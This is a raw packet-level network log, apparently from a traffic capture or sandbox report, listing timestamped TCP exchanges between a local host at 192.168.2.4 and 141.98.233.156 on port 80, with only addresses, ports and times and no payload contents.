Oct 6, 2024 22:33:17.815781116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815789938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815792084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815807104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815813065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815823078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815825939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815838099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815843105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815854073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815856934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815869093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815875053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815885067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815886974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815901995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815903902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815918922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815922976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815933943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815934896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815951109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815954924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815967083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815967083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815984011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815984011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815996885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816001892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816021919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816037893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816055059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816148043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816170931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816186905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816200972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816214085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816217899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816224098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816234112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816245079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816250086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816256046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816266060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816273928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816283941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816289902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816307068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816317081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816344023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816359043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816373110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816389084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816396952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816405058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816421986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816431999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816438913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816447973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816463947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816468000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816479921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816492081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816497087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816500902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816536903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816538095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816553116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816569090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816579103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816585064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816596985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816602945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816617966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816620111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816627026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816636086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816647053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816653013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816657066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816668987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816675901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816684961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816690922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816700935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816709042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816718102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816723108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816734076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816736937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816751003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816756010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816764116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816768885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.816787004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.816802979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817059040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817156076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817218065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817234039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817249060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817257881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817264080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817266941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817281008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817289114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817296982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817300081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817312002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817325115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817325115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817327976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817341089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817343950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817361116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817367077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817377090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817377090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817393064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817401886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817409992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817411900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817425966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817430019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817441940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817442894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817459106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817462921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817473888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817476988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817490101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817507982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817635059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817651033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817666054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817673922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817682028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817682981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817698956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817702055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817713976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817724943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817729950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817733049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817754984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817755938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817755938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817770958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817786932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817801952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817810059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817819118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817832947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817832947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817850113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817852020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817866087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817874908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817882061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817894936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817907095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817907095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817923069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817928076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817935944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817938089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817954063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817956924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817970991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.817970991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817984104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.817987919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818002939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818006992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818018913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818025112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818033934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818034887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818051100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818053961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818064928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818065882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818083048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818088055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818095922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818099022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818114996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818115950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818130970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818136930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818146944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818149090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818167925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818171024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818186045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818207026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818679094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818706989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818722963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818737984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818753004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818758965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818768978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818783045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818783998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818800926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818804026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818816900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818828106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818834066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818849087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818850994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818861008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818866014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818875074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818881989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818886995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818897963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818907022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818916082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818917990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818932056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818941116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818948984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818950891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818962097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.818964005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.818988085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819000006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819060087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819214106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819231033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819245100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819252014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819261074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819266081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819278002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819294930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819298029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819318056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819333076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819348097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819361925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819363117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819375992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819410086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819411039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819427967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819448948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819453001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819464922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819475889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819483042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819494963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819499016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819504976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819515944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819524050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819533110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819545031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819550037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819555044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819566965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819575071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819582939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819591999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819598913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819602013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819614887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819622993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819629908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819632053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819647074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819649935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819663048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819665909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819679022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819680929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819695950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819701910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819711924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819713116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819729090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819745064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819753885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819758892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819771051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819775105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819791079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819799900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819808006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.819823980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.819848061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820100069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820116043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820131063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820146084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820153952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820161104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820175886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820180893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820190907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820200920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820215940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820219994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820230007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820246935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820251942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820261955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820275068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820280075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820296049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820301056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820312977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820322990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820328951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820343971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820348024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820363998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820391893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820439100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820455074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820470095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820487022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820494890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820502996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820518017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820542097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820641994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820657015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820672989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820687056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820694923 CEST	49741	80	192.168.2.4	141.98.233.156
